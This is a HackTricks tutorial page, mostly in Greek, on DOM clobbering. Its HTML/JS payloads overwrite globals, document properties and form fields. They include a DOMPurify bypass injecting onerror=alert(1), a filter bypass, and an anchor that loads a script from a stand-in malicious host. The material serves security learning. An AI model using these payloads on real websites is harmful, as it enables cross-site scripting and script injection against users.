17 KiB
Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Βασικά
Είναι δυνατόν να δημιουργηθούν παγκόσμιες μεταβλητές μέσα στο JS context με τα χαρακτηριστικά id
και name
σε HTML tags.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Μόνο ορισμένα στοιχεία μπορούν να χρησιμοποιήσουν το name attribute για να κλωνοποιήσουν τα globals, αυτά είναι: embed
, form
, iframe
, image
, img
και object
.
Ενδιαφέρον είναι ότι όταν χρησιμοποιείτε ένα form element για να κλωνοποιήσετε μια μεταβλητή, θα λάβετε την toString
τιμή του στοιχείου αυτού: [object HTMLFormElement]
αλλά με anchor η toString
θα είναι το anchor href
. Επομένως, αν κλωνοποιήσετε χρησιμοποιώντας την a
ετικέτα, μπορείτε να ελέγξετε την τιμή όταν θεωρείται ως συμβολοσειρά:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Arrays & Attributes
Είναι επίσης δυνατό να καταστραφεί ένας πίνακας και τα χαρακτηριστικά ενός αντικειμένου:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Για να καταστρέψετε ένα 3ο χαρακτηριστικό (π.χ. x.y.z), πρέπει να χρησιμοποιήσετε μια form
:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Clobbering περισσότερα attributes είναι πιο περίπλοκο αλλά ακόμα δυνατό, χρησιμοποιώντας iframes:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} Η ετικέτα style χρησιμοποιείται για να δώσει αρκετό χρόνο στο iframe να αποδοθεί. Χωρίς αυτήν, θα βρείτε μια ειδοποίηση undefined. {% endhint %}
Για να κλωνοποιήσετε πιο βαθιές ιδιότητες, μπορείτε να χρησιμοποιήσετε iframes με κωδικοποίηση html με αυτόν τον τρόπο:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Παράκαμψη Φίλτρων
Αν ένα φίλτρο περνάει μέσα από τις ιδιότητες ενός κόμβου χρησιμοποιώντας κάτι όπως document.getElementByID('x').attributes
, θα μπορούσες να καταστρέψεις την ιδιότητα .attributes
και να σπάσεις το φίλτρο. Άλλες ιδιότητες DOM όπως tagName
, nodeName
ή parentNode
και άλλες είναι επίσης καταστρέψιμες.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
Clobbering window.someObject
Στην JavaScript είναι συνηθισμένο να βρίσκουμε:
var someObject = window.someObject || {};
Η χειραγώγηση του HTML στη σελίδα επιτρέπει την αντικατάσταση του someObject
με έναν κόμβο DOM, ενδεχομένως εισάγοντας ευπάθειες ασφαλείας. Για παράδειγμα, μπορείτε να αντικαταστήσετε το someObject
με ένα στοιχείο άγκυρας που δείχνει σε ένα κακόβουλο σενάριο:
<a id=someObject href=//malicious-website.com/malicious.js></a>
Σε έναν ευάλωτο κώδικα όπως:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Αυτή η μέθοδος εκμεταλλεύεται την πηγή του script για να εκτελέσει ανεπιθύμητο κώδικα.
Trick: DOMPurify
σας επιτρέπει να χρησιμοποιείτε το cid:
πρωτόκολλο, το οποίο δεν κωδικοποιεί URL διπλά εισαγωγικά. Αυτό σημαίνει ότι μπορείτε να εισάγετε ένα κωδικοποιημένο διπλό εισαγωγικό που θα αποκωδικοποιηθεί κατά την εκτέλεση. Επομένως, η εισαγωγή κάτι όπως <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
θα κάνει το HTML κωδικοποιημένο "
να αποκωδικοποιηθεί κατά την εκτέλεση και να ξεφύγει από την τιμή του χαρακτηριστικού για να δημιουργήσει το onerror
γεγονός.
Μια άλλη τεχνική χρησιμοποιεί ένα form
στοιχείο. Ορισμένες βιβλιοθήκες πελάτη ελέγχουν τα χαρακτηριστικά ενός νεοδημιουργημένου στοιχείου φόρμας για να τα καθαρίσουν. Ωστόσο, προσθέτοντας ένα input
με id=attributes
μέσα στη φόρμα, ουσιαστικά αντικαθιστάτε την ιδιότητα attributes, αποτρέποντας τον καθαριστή από το να έχει πρόσβαση στα πραγματικά χαρακτηριστικά.
Μπορείτε να βρείτε ένα παράδειγμα αυτού του τύπου clobbering σε αυτή τη CTF αναφορά.
Clobbering αντικειμένου εγγράφου
Σύμφωνα με την τεκμηρίωση, είναι δυνατόν να αντικαταστήσετε τα χαρακτηριστικά του αντικειμένου εγγράφου χρησιμοποιώντας DOM Clobbering:
Η Δομή υποστηρίζει ονόματα χαρακτηριστικών. Τα υποστηριζόμενα ονόματα χαρακτηριστικών ενός αντικειμένου Δομής σε οποιαδήποτε στιγμή αποτελούνται από τα εξής, σε τάξη δέντρου σύμφωνα με το στοιχείο που τα συνέβαλε, αγνοώντας αργότερα διπλότυπα, και με τιμές από id χαρακτηριστικά να έρχονται πριν από τις τιμές από χαρακτηριστικά name όταν το ίδιο στοιχείο συμβάλλει και στα δύο:
- Η τιμή του χαρακτηριστικού περιεχομένου name για όλα τα εκτεθειμένα embed, form, iframe, img, και εκτεθειμένα object στοιχεία που έχουν ένα μη κενό χαρακτηριστικό περιεχομένου name και είναι σε ένα δέντρο εγγράφου με το έγγραφο ως ρίζα;
- Η τιμή του χαρακτηριστικού περιεχομένου id για όλα τα εκτεθειμένα object στοιχεία που έχουν ένα μη κενό χαρακτηριστικό περιεχομένου id και είναι σε ένα δέντρο εγγράφου με το έγγραφο ως ρίζα;
- Η τιμή του χαρακτηριστικού περιεχομένου id για όλα τα img στοιχεία που έχουν τόσο ένα μη κενό χαρακτηριστικό περιεχομένου id όσο και ένα μη κενό χαρακτηριστικό περιεχομένου name, και είναι σε ένα δέντρο εγγράφου με το έγγραφο ως ρίζα.
Χρησιμοποιώντας αυτή την τεχνική μπορείτε να αντικαταστήσετε κοινώς χρησιμοποιούμενες τιμές όπως document.cookie
, document.body
, document.children
, και ακόμη και μεθόδους στη διεπαφή Document όπως document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Writing after the element clobbered
Τα αποτελέσματα των κλήσεων σε document.getElementById()
και document.querySelector()
μπορούν να τροποποιηθούν με την εισαγωγή ενός <html>
ή <body>
tag με ταυτόσημο id attribute. Να πώς μπορεί να γίνει:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
Επιπλέον, με την εφαρμογή στυλ για την απόκρυψη αυτών των εισαγόμενων HTML/body ετικετών, μπορεί να αποτραπεί η παρεμβολή από άλλο κείμενο στο innerText
, ενισχύοντας έτσι την αποτελεσματικότητα της επίθεσης:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Οι έρευνες σχετικά με το SVG αποκάλυψαν ότι μια ετικέτα <body>
μπορεί επίσης να χρησιμοποιηθεί αποτελεσματικά:
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Για να λειτουργήσει η ετικέτα HTML μέσα σε SVG σε προγράμματα περιήγησης όπως το Chrome και το Firefox, είναι απαραίτητη μια ετικέτα <foreignobject>
:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Clobbering Forms
Είναι δυνατόν να προσθέσετε νέες καταχωρίσεις μέσα σε μια φόρμα απλά καθορίζοντας το attribute form
μέσα σε ορισμένα tags. Μπορείτε να το χρησιμοποιήσετε για να προσθέσετε νέες τιμές μέσα σε μια φόρμα και ακόμη και να προσθέσετε ένα νέο κουμπί για να το στείλετε (clickjacking ή εκμετάλλευση κάποιου κώδικα JS .click()
):
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Για περισσότερα χαρακτηριστικά φόρμας στον κουμπί ελέγξτε αυτό.
Αναφορές
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript για χάκερ: Μάθε να σκέφτεσαι σαν χάκερ.
{% hint style="success" %}
Μάθε & εξάσκησε το AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξάσκησε το GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Έλεγξε τα σχέδια συνδρομής!
- Συμμετοχή στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολούθησέ μας στο Twitter 🐦 @hacktricks_live.
- Μοιράσου κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.